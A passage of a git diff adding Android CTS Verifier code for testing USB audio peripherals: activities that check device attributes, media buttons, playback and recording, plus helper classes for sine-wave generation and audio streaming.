+import com.android.cts.verifier.audio.peripheralprofile.ListsHelper;
+import com.android.cts.verifier.audio.peripheralprofile.PeripheralProfile;
+
+import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
+
+public class USBAudioPeripheralAttributesActivity extends USBAudioPeripheralActivity {
+    private static final String TAG = "USBAudioPeripheralAttributesActivity";
+
+    private TextView mTestStatusTx;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.uap_attribs_panel);
+
+        connectPeripheralStatusWidgets();
+
+        mTestStatusTx = (TextView)findViewById(R.id.uap_attribsStatusTx);
+
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.usbaudio_attribs_test, R.string.usbaudio_attribs_info, -1);
+    }
+
+    //
+    // USBAudioPeripheralActivity
+    //
+    public void updateConnectStatus() {
+        boolean outPass = false;
+        boolean inPass = false;
+        if (mIsPeripheralAttached && mSelectedProfile != null) {
+            boolean match = true;
+            StringBuilder metaSb = new StringBuilder();
+
+            // Outputs
+            if (mOutputDevInfo != null) {
+                AudioDeviceInfo deviceInfo = mOutputDevInfo;
+                PeripheralProfile.ProfileAttributes attribs =
+                    mSelectedProfile.getOutputAttributes();
+                StringBuilder sb = new StringBuilder();
+
+                if (!ListsHelper.isMatch(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
+                    sb.append("Output - Channel Counts Mismatch\n");
+                }
+                if (!ListsHelper.isMatch(deviceInfo.getChannelIndexMasks(),
+                                         attribs.mChannelIndexMasks)) {
+                    sb.append("Output - Channel Index Masks Mismatch\n");
+                }
+                if (!ListsHelper.isMatch(deviceInfo.getChannelMasks(),
+                                         attribs.mChannelPositionMasks)) {
+                    sb.append("Output - Channel Position Masks Mismatch\n");
+                }
+                if (!ListsHelper.isMatch(deviceInfo.getEncodings(), attribs.mEncodings)) {
+                    sb.append("Output - Encodings Mismatch\n");
+                }
+                if (!ListsHelper.isMatch(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
+                    sb.append("Output - Sample Rates Mismatch\n");
+                }
+
+                if (sb.toString().length() == 0){
+                    metaSb.append("Output - Match\n");
+                    outPass = true;
+                } else {
+                    metaSb.append(sb.toString());
+                }
+            }
+
+            // Inputs
+            if (mInputDevInfo != null) {
+                AudioDeviceInfo deviceInfo = mInputDevInfo;
+                PeripheralProfile.ProfileAttributes attribs =
+                    mSelectedProfile.getInputAttributes();
+                StringBuilder sb = new StringBuilder();
+
+                if (!ListsHelper.isMatch(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
+                    sb.append("Input - Channel Counts Mismatch\n");
+                }
+                if (!ListsHelper.isMatch(deviceInfo.getChannelIndexMasks(),
+                                         attribs.mChannelIndexMasks)) {
+                    sb.append("Input - Channel Index Masks Mismatch\n");
+                }
+                if (!ListsHelper.isMatch(deviceInfo.getChannelMasks(),
+                                         attribs.mChannelPositionMasks)) {
+                    sb.append("Input - Channel Position Masks Mismatch\n");
+                }
+                if (!ListsHelper.isMatch(deviceInfo.getEncodings(), attribs.mEncodings)) {
+                    sb.append("Input - Encodings Mismatch\n");
+                }
+                if (!ListsHelper.isMatch(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
+                    sb.append("Input - Sample Rates Mismatch\n");
+                }
+
+                if (sb.toString().length() == 0){
+                    inPass = true;
+                    metaSb.append("Input - Match\n");
+                } else {
+                    metaSb.append(sb.toString());
+                }
+            }
+
+            mTestStatusTx.setText(metaSb.toString());
+        } else {
+            mTestStatusTx.setText("No Peripheral or No Matching Profile.");
+        }
+
+        //TODO we need to support output-only and input-only peripherals
+        getPassButton().setEnabled(outPass && inPass);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
new file mode 100644
index 0000000..4718db0
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.graphics.Color;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.widget.TextView;
+
+import com.android.cts.verifier.audio.peripheralprofile.PeripheralProfile;
+import com.android.cts.verifier.audio.peripheralprofile.ProfileButtonAttributes;
+
+import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
+
+public class USBAudioPeripheralButtonsActivity extends USBAudioPeripheralActivity {
+    private static final String TAG = "USBAudioPeripheralButtonsActivity";
+
+    // State
+    private boolean mHasBtnA;
+    private boolean mHasBtnB;
+    private boolean mHasBtnC;
+    private boolean mHasBtnD;
+
+    // Widgets
+    private TextView mBtnALabelTxt;
+    private TextView mBtnBLabelTxt;
+    private TextView mBtnCLabelTxt;
+    private TextView mBtnDLabelTxt;
+
+    private TextView mBtnAStatusTxt;
+    private TextView mBtnBStatusTxt;
+    private TextView mBtnCStatusTxt;
+    private TextView mBtnDStatusTxt;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.uap_buttons_panel);
+
+        connectPeripheralStatusWidgets();
+
+        mBtnALabelTxt = (TextView)findViewById(R.id.uap_buttonsBtnALabelTx);
+        mBtnBLabelTxt = (TextView)findViewById(R.id.uap_buttonsBtnBLabelTx);
+        mBtnCLabelTxt = (TextView)findViewById(R.id.uap_buttonsBtnCLabelTx);
+        mBtnDLabelTxt = (TextView)findViewById(R.id.uap_buttonsBtnDLabelTx);
+
+        mBtnAStatusTxt = (TextView)findViewById(R.id.uap_buttonsBtnAStatusTx);
+        mBtnBStatusTxt = (TextView)findViewById(R.id.uap_buttonsBtnBStatusTx);
+        mBtnCStatusTxt = (TextView)findViewById(R.id.uap_buttonsBtnCStatusTx);
+        mBtnDStatusTxt = (TextView)findViewById(R.id.uap_buttonsBtnDStatusTx);
+
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.usbaudio_buttons_test, R.string.usbaudio_buttons_info, -1);
+    }
+
+    private void showButtonsState() {
+        if (mIsPeripheralAttached && mSelectedProfile != null) {
+            ProfileButtonAttributes mButtonAttributes = mSelectedProfile.getButtonAttributes();
+            if (mButtonAttributes != null) {
+                if (!mButtonAttributes.mHasBtnA) {
+                    mBtnALabelTxt.setTextColor(Color.GRAY);
+                    mBtnAStatusTxt.setTextColor(Color.GRAY);
+                } else {
+                    mBtnALabelTxt.setTextColor(Color.WHITE);
+                    mBtnAStatusTxt.setTextColor(Color.WHITE);
+                }
+                if (!mButtonAttributes.mHasBtnB) {
+                    mBtnBLabelTxt.setTextColor(Color.GRAY);
+                    mBtnBStatusTxt.setTextColor(Color.GRAY);
+                } else {
+                    mBtnBLabelTxt.setTextColor(Color.WHITE);
+                    mBtnBStatusTxt.setTextColor(Color.WHITE);
+                }
+                if (!mButtonAttributes.mHasBtnC) {
+                    mBtnCLabelTxt.setTextColor(Color.GRAY);
+                    mBtnCStatusTxt.setTextColor(Color.GRAY);
+                } else {
+                    mBtnCLabelTxt.setTextColor(Color.WHITE);
+                    mBtnCStatusTxt.setTextColor(Color.WHITE);
+                }
+                if (!mButtonAttributes.mHasBtnD) {
+                    mBtnDLabelTxt.setTextColor(Color.GRAY);
+                    mBtnDStatusTxt.setTextColor(Color.GRAY);
+                } else {
+                    mBtnDLabelTxt.setTextColor(Color.WHITE);
+                    mBtnDStatusTxt.setTextColor(Color.WHITE);
+                }
+            } else {
+                mBtnALabelTxt.setTextColor(Color.GRAY);
+                mBtnAStatusTxt.setTextColor(Color.GRAY);
+                mBtnBLabelTxt.setTextColor(Color.GRAY);
+                mBtnBStatusTxt.setTextColor(Color.GRAY);
+                mBtnCLabelTxt.setTextColor(Color.GRAY);
+                mBtnCStatusTxt.setTextColor(Color.GRAY);
+                mBtnDLabelTxt.setTextColor(Color.GRAY);
+                mBtnDStatusTxt.setTextColor(Color.GRAY);
+            }
+        }
+
+        mBtnAStatusTxt.setText(getString(
+            mHasBtnA ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
+        mBtnBStatusTxt.setText(getString(
+            mHasBtnB ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
+        mBtnCStatusTxt.setText(getString(
+            mHasBtnC ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
+        mBtnDStatusTxt.setText(getString(
+            mHasBtnD ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
+    }
+
+    private void calculateMatch() {
+        if (mIsPeripheralAttached && mSelectedProfile != null) {
+            ProfileButtonAttributes mButtonAttributes = mSelectedProfile.getButtonAttributes();
+            boolean match = mButtonAttributes != null;
+            if (match && mButtonAttributes.mHasBtnA != mHasBtnA) {
+                match = false;
+            }
+            if (match && mButtonAttributes.mHasBtnB != mHasBtnB) {
+                match = false;
+            }
+            if (match && mButtonAttributes.mHasBtnC != mHasBtnC) {
+                match = false;
+            }
+            if (match && mButtonAttributes.mHasBtnD != mHasBtnD) {
+                match = false;
+            }
+            Log.i(TAG, "match:" + match);
+            getPassButton().setEnabled(match);
+        } else {
+            getPassButton().setEnabled(false);
+        }
+    }
+
+    @Override
+    public boolean onKeyDown(int keyCode, KeyEvent event) {
+        Log.i(TAG, "onKeyDown(" + keyCode + ")");
+        switch (keyCode) {
+        // Function A control event
+        case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
+            mHasBtnA = true;
+            break;
+
+        // Function B control event
+        case KeyEvent.KEYCODE_VOLUME_UP:
+            mHasBtnB = true;
+            break;
+
+        // Function C control event
+        case KeyEvent.KEYCODE_VOLUME_DOWN:
+            mHasBtnC = true;
+            break;
+
+        // Function D control event
+        case KeyEvent.KEYCODE_VOICE_ASSIST:
+            mHasBtnD = true;
+            break;
+        }
+
+        showButtonsState();
+        calculateMatch();
+
+        return super.onKeyDown(keyCode, event);
+    }
+
+    //
+    // USBAudioPeripheralActivity
+    //
+    public void updateConnectStatus() {
+        mHasBtnA = mHasBtnB = mHasBtnC = mHasBtnD = false;
+        showButtonsState();
+        calculateMatch();
+    }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
new file mode 100644
index 0000000..5389afb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+
+import com.android.cts.verifier.audio.peripheralprofile.PeripheralProfile;
+import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
+
+public class USBAudioPeripheralPlayActivity extends USBAudioPeripheralPlayerActivity {
+    private static final String TAG = "USBAudioPeripheralPlayActivity";
+
+    // Widgets
+    private Button mPlayBtn;
+    private LocalClickListener mButtonClickListener = new LocalClickListener();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.uap_play_panel);
+
+        connectPeripheralStatusWidgets();
+
+        // Local widgets
+        mPlayBtn = (Button)findViewById(R.id.uap_playPlayBtn);
+        mPlayBtn.setOnClickListener(mButtonClickListener);
+
+        setupPlayer();
+
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.usbaudio_play_test, R.string.usbaudio_play_info, -1);
+    }
+
+    //
+    // USBAudioPeripheralActivity
+    //
+    public void updateConnectStatus() {
+        getPassButton().setEnabled(mOutputDevInfo != null);
+    }
+
+    public class LocalClickListener implements View.OnClickListener {
+        @Override
+        public void onClick(View view) {
+            switch (view.getId()) {
+            case R.id.uap_playPlayBtn:
+                Log.i(TAG, "Play Button Pressed");
+                if (!isPlaying()) {
+                    startPlay();
+                    mPlayBtn.setText(getString(R.string.audio_uap_play_stopBtn));
+                } else {
+                    stopPlay();
+                    mPlayBtn.setText(getString(R.string.audio_uap_play_playBtn));
+                }
+                break;
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
new file mode 100644
index 0000000..33417d1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.content.Context;
+import android.media.AudioManager;
+import android.util.Log;
+
+import com.android.cts.verifier.audio.audiolib.SignalGenerator;
+import com.android.cts.verifier.audio.audiolib.StreamPlayer;
+import com.android.cts.verifier.audio.audiolib.WaveTableFloatFiller;
+import com.android.cts.verifier.audio.peripheralprofile.USBDeviceInfoHelper;
+
+public abstract class USBAudioPeripheralPlayerActivity extends USBAudioPeripheralActivity {
+    private static final String TAG = "USBAudioPeripheralPlayerActivity";
+
+    protected  int mSystemBufferSize;
+
+    // Player
+    protected boolean mIsPlaying = false;
+    protected StreamPlayer mPlayer = null;
+    protected WaveTableFloatFiller mFiller = null;
+
+    protected float[] mWavBuffer = null;
+
+    protected boolean mOverridePlayFlag = true;
+
+    private static final int WAVBUFF_SIZE_IN_SAMPLES = 2048;
+
+    protected void setupPlayer() {
+        mSystemBufferSize =
+            StreamPlayer.calcNumBurstFrames((AudioManager)getSystemService(Context.AUDIO_SERVICE));
+
+        // the +1 is so we can repeat the 0th sample and simplify the interpolation calculation.
+        mWavBuffer = new float[WAVBUFF_SIZE_IN_SAMPLES + 1];
+
+        SignalGenerator.fillFloatSine(mWavBuffer);
+        mFiller = new WaveTableFloatFiller(mWavBuffer);
+
+        mPlayer = new StreamPlayer();
+    }
+
+    protected void startPlay() {
+        if (mOutputDevInfo != null && !mIsPlaying) {
+            int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mOutputDevInfo);
+            mPlayer.open(numChans, mSystemSampleRate, mSystemBufferSize, mFiller);
+            mPlayer.start();
+            mIsPlaying = true;
+        }
+    }
+
+    protected void stopPlay() {
+        if (mIsPlaying) {
+            mPlayer.stop();
+            mPlayer.close();
+            mIsPlaying = false;
+        }
+    }
+
+    public boolean isPlaying() {
+        return mIsPlaying;
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+        stopPlay();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
new file mode 100644
index 0000000..428c475
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.graphics.Color;
+import android.os.Bundle;
+import android.os.Looper;
+import android.os.Message;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+
+import com.android.cts.verifier.audio.audiolib.StreamRecorder;
+import com.android.cts.verifier.audio.audiolib.StreamRecorderListener;
+import com.android.cts.verifier.audio.audiolib.WaveScopeView;
+
+import com.android.cts.verifier.audio.peripheralprofile.PeripheralProfile;
+import com.android.cts.verifier.audio.peripheralprofile.USBDeviceInfoHelper;
+
+import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
+
+public class USBAudioPeripheralRecordActivity extends USBAudioPeripheralPlayerActivity {
+    private static final String TAG = "USBAudioPeripheralRecordActivity";
+
+    // Recorder
+    private StreamRecorder mRecorder = null;
+    private RecordListener mRecordListener = null;
+    private boolean mIsRecording = false;
+
+    // Widgets
+    private Button mRecordBtn;
+    private Button mRecordLoopbackBtn;
+
+    private LocalClickListener mButtonClickListener = new LocalClickListener();
+
+    private WaveScopeView mWaveView = null;
+
+    private void connectWaveView() {
+        // Log.i(TAG, "connectWaveView() rec:" + (mRecorder != null));
+        if (mRecorder != null) {
+            float[] smplFloatBuff = mRecorder.getBurstBuffer();
+            int numChans = mRecorder.getNumChannels();
+            int numFrames = smplFloatBuff.length / numChans;
+            mWaveView.setPCMFloatBuff(smplFloatBuff, numChans, numFrames);
+            mWaveView.invalidate();
+
+            mRecorder.setListener(mRecordListener);
+        }
+    }
+
+    public boolean startRecording(boolean withLoopback) {
+        if (mInputDevInfo == null) {
+            return false;
+        }
+
+        if (mRecorder == null) {
+            mRecorder = new StreamRecorder();
+        } else if (mRecorder.isRecording()) {
+            mRecorder.stop();
+        }
+
+        int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mInputDevInfo);
+
+        if (mRecorder.open(numChans, mSystemSampleRate, mSystemBufferSize)) {
+            connectWaveView();  // Setup the WaveView
+
+            mIsRecording = mRecorder.start();
+
+            if (withLoopback) {
+                startPlay();
+            }
+
+            return mIsRecording;
+        } else {
+            return false;
+        }
+    }
+
+    public void stopRecording() {
+        if (mRecorder != null) {
+            mRecorder.stop();
+        }
+
+        if (mPlayer != null && mPlayer.isPlaying()) {
+            mPlayer.stop();
+        }
+
+        mIsRecording = false;
+    }
+
+    public boolean isRecording() {
+        return mIsRecording;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.uap_record_panel);
+
+        connectPeripheralStatusWidgets();
+
+        // Local widgets
+        mRecordBtn = (Button)findViewById(R.id.uap_recordRecordBtn);
+        mRecordBtn.setOnClickListener(mButtonClickListener);
+        mRecordLoopbackBtn = (Button)findViewById(R.id.uap_recordRecordLoopBtn);
+        mRecordLoopbackBtn.setOnClickListener(mButtonClickListener);
+
+        setupPlayer();
+
+        mRecorder = new StreamRecorder();
+        mRecordListener = new RecordListener();
+
+        mWaveView = (WaveScopeView)findViewById(R.id.uap_recordWaveView);
+        mWaveView.setBackgroundColor(Color.DKGRAY);
+        mWaveView.setTraceColor(Color.WHITE);
+
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.usbaudio_record_test, R.string.usbaudio_record_info, -1);
+    }
+
+    //
+    // USBAudioPeripheralActivity
+    //
+    public void updateConnectStatus() {
+        getPassButton().setEnabled(mOutputDevInfo != null);
+    }
+
+    public class LocalClickListener implements View.OnClickListener {
+        @Override
+        public void onClick(View view) {
+            switch (view.getId()) {
+            case R.id.uap_recordRecordBtn:
+                Log.i(TAG, "Record Button Pressed");
+                if (!isPlaying()) {
+                    startRecording(false);
+                    mRecordBtn.setText(getString(R.string.audio_uap_record_stopBtn));
+                    mRecordLoopbackBtn.setEnabled(false);
+                } else {
+                    stopRecording();
+                    mRecordBtn.setText(getString(R.string.audio_uap_record_recordBtn));
+                    mRecordLoopbackBtn.setEnabled(true);
+                }
+                break;
+
+            case R.id.uap_recordRecordLoopBtn:
+                Log.i(TAG, "Record Loopback Button Pressed");
+                if (!isPlaying()) {
+                    startRecording(true);
+                    mRecordLoopbackBtn.setText(getString(R.string.audio_uap_record_stopBtn));
+                    mRecordBtn.setEnabled(false);
+                } else {
+                    stopRecording();
+                    mRecordLoopbackBtn.setText(
+                        getString(R.string.audio_uap_record_recordLoopbackBtn));
+                    mRecordBtn.setEnabled(true);
+                }
+                break;
+            }
+        }
+    }
+
+    private class RecordListener extends StreamRecorderListener {
+        /*package*/ RecordListener() {
+            super(Looper.getMainLooper());
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            // Log.i(TAG, "RecordListener.HandleMessage(" + msg.what + ")");
+            switch (msg.what) {
+                case MSG_START:
+                    break;
+
+                case MSG_BUFFER_FILL:
+                    mWaveView.invalidate();
+                    break;
+
+                case MSG_STOP:
+                    break;
+            }
+        }
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+        stopPlay();
+    }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioFiller.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioFiller.java
new file mode 100644
index 0000000..fd4d6c9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioFiller.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+/**
+ * An interface for objects which provide streamed audio data to a StreamPlayer instance.
+ */
+public interface AudioFiller {
+    /**
+     * Reset a stream to the beginning.
+     */
+    public void reset();
+
+    /**
+     * Process a request for audio data.
+     * @param buffer The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return The number of frames actually generated. If this value is less than that
+     * requested, it may be interpreted by the player as the end of playback.
+     */
+    public int fill(float[] buffer, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
new file mode 100644
index 0000000..002f460
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.AudioTrack;
+
+// TODO - This functionality probably exists in the framework function. Remove this and
+//    use that instead.
+public class AudioUtils {
+    @SuppressWarnings("unused")
+    private static final String TAG = "AudioUtils";
+
+    public static int countIndexChannels(int chanConfig) {
+        return Integer.bitCount(chanConfig & ~0x80000000);
+    }
+
+    public static int countToIndexMask(int chanCount) {
+        return  (1 << chanCount) - 1;
+    }
+
+    public static int countToOutPositionMask(int channelCount) {
+        switch (channelCount) {
+            case 1:
+                return AudioFormat.CHANNEL_OUT_MONO;
+
+            case 2:
+                return AudioFormat.CHANNEL_OUT_STEREO;
+
+            case 4:
+                return AudioFormat.CHANNEL_OUT_QUAD;
+
+            default:
+                return AudioTrack.ERROR_BAD_VALUE;
+        }
+    }
+
+    public static int countToInPositionMask(int channelCount) {
+        switch (channelCount) {
+            case 1:
+                return AudioFormat.CHANNEL_IN_MONO;
+
+            case 2:
+                return AudioFormat.CHANNEL_IN_STEREO;
+
+            default:
+                return AudioRecord.ERROR_BAD_VALUE;
+        }
+    }
+
+    // Encodings
+    public static int sampleSizeInBytes(int encoding) {
+        switch (encoding) {
+            case AudioFormat.ENCODING_PCM_16BIT:
+                return 2;
+
+            case AudioFormat.ENCODING_PCM_FLOAT:
+                return 4;
+
+            default:
+                return 0;
+        }
+    }
+
+    public static int calcFrameSizeInBytes(int encoding, int numChannels) {
+        return sampleSizeInBytes(encoding) * numChannels;
+    }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/README b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/README
new file mode 100644
index 0000000..2309962
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/README
@@ -0,0 +1 @@
+This code is forked from (AndroidStudio Project) <branch>vendor/box/team/audio/AudioLibApp/audiolib
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SignalGenerator.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SignalGenerator.java
new file mode 100644
index 0000000..2d91acf
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/SignalGenerator.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+/**
+ * Generates buffers of PCM data.
+ */
+public class SignalGenerator {
+    @SuppressWarnings("unused")
+    private static final String TAG = "SignalGenerator";
+
+    /**
+     * Fills a PCMFloat buffer with 1 cycle of a sine wave.
+     * NOTE: The first and last (index 0 and size-1) are filled with the
+     * sample value because WaveTableFloatFiller assumes this (to make the
+     * interpolation calculation at the end of wavetable more efficient.
+     */
+    static public void fillFloatSine(float[] buffer) {
+        int size = buffer.length;
+        float incr = ((float)Math.PI  * 2.0f) / (float)(size - 1);
+        for(int index = 0; index < size; index++) {
+            buffer[index] = (float)Math.sin(index * incr);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
new file mode 100644
index 0000000..12f1853
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.content.Context;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+
+import android.util.Log;
+
+/**
+ * Plays audio data from a stream. Audio data comes from a provided AudioFiller subclass instance.
+ */
+public class StreamPlayer {
+    @SuppressWarnings("unused")
+    private static String TAG = "StreamPlayer";
+
+    private int mSampleRate;
+    private int mNumChans;
+
+    private AudioFiller mFiller;
+
+    private Thread mPlayerThread;
+
+    private AudioTrack mAudioTrack;
+    private int mNumAudioTrackFrames; // number of frames for INTERNAL AudioTrack buffer
+
+    // The Burst Buffer. This is the buffer we fill with audio and feed into the AudioTrack.
+    private int mNumBurstFrames;
+    private float[] mBurstBuffer;
+
+    private float[] mChanGains;
+    private volatile boolean mPlaying;
+
+    private AudioDeviceInfo mRoutingDevice;
+
+    public StreamPlayer() {}
+
+    public int getSampleRate() { return mSampleRate; }
+    public int getNumBurstFrames() { return mNumBurstFrames; }
+
+    public void setChanGains(float[] chanGains) {
+        mChanGains = chanGains;
+    }
+
+    public boolean isPlaying() { return mPlaying; }
+
+    private void applyChannelGains() {
+        if (mChanGains != null) {
+            int buffIndex = 0;
+            for (int frame = 0; frame < mNumBurstFrames; frame++) {
